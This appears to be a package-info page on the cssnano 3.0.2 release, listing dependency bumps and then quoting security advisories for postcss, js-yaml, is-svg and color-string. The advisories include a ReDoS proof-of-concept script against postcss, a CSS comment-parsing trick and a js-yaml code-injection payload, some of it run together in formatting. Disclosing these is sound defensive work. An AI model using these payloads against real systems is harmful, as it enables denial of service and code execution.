Cssnano, a modular CSS minifier built upon the PostCSS ecosystem, saw a minor version update from 3.0.1 to 3.0.2, introducing several dependency upgrades and refinements. Developers considering integrating or upgrading cssnano should note these changes for compatibility and potential performance improvements.
Key dependency bumps include postcss (from 5.0.4 to 5.0.5), bringing the latest PostCSS features and fixes. autoprefixer moved from 6.0.2 to 6.0.3, enhancing CSS prefixing capabilities and compatibility with modern browsers. Moreover, important updates were made to smaller helper packages like postcss-svgo (2.0.0 to 2.0.1), postcss-colormin (2.0.0 to 2.1.1), postcss-merge-idents (2.0.0 to 2.1.0), postcss-value-parser (2.0.2 to 2.0.4), postcss-reduce-idents (2.0.0 to 2.2.0), and postcss-convert-values (2.0.1 to 2.2.0). These smaller updates likely involve bug fixes, enhanced parsing capabilities, and improved performance within their respective areas of CSS minification.
On the development dependency side, webpack was incremented from 1.12.1 to 1.12.2, and json-loader and node-libs-browser went from 0.5.2 to 0.5.3 , indicating improvements in the build and testing process of cssnano itself, indirectly benefiting users through a more robust and reliable minifier.
The release window between versions was approximately 9 days, suggesting a prompt response to issues or opportunities for optimization. For developers, this signifies an active maintenance cycle and a commitment to improving the library. While the core functionality remains consistent, these incremental updates contribute to a more refined and optimized CSS minification experience.
All the vulnerabilities related to the version 3.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Denial of Service in js-yaml
Versions of js-yaml
prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.
Upgrade to version 3.13.0.
Code Injection in js-yaml
Versions of js-yaml
prior to 3.13.1 are vulnerable to Code Injection. The load()
function may execute arbitrary code injected through a malicious YAML file. Objects that have toString
as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the load()
function. The safeLoad()
function is unaffected.
An example payload is
{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1
which returns the object
{
"1553107949161": 1
}
Upgrade to version 3.13.1.
Regular Expression Denial of Service (ReDoS)
The is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.
ReDOS in IS-SVG
A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string
, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb()
color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.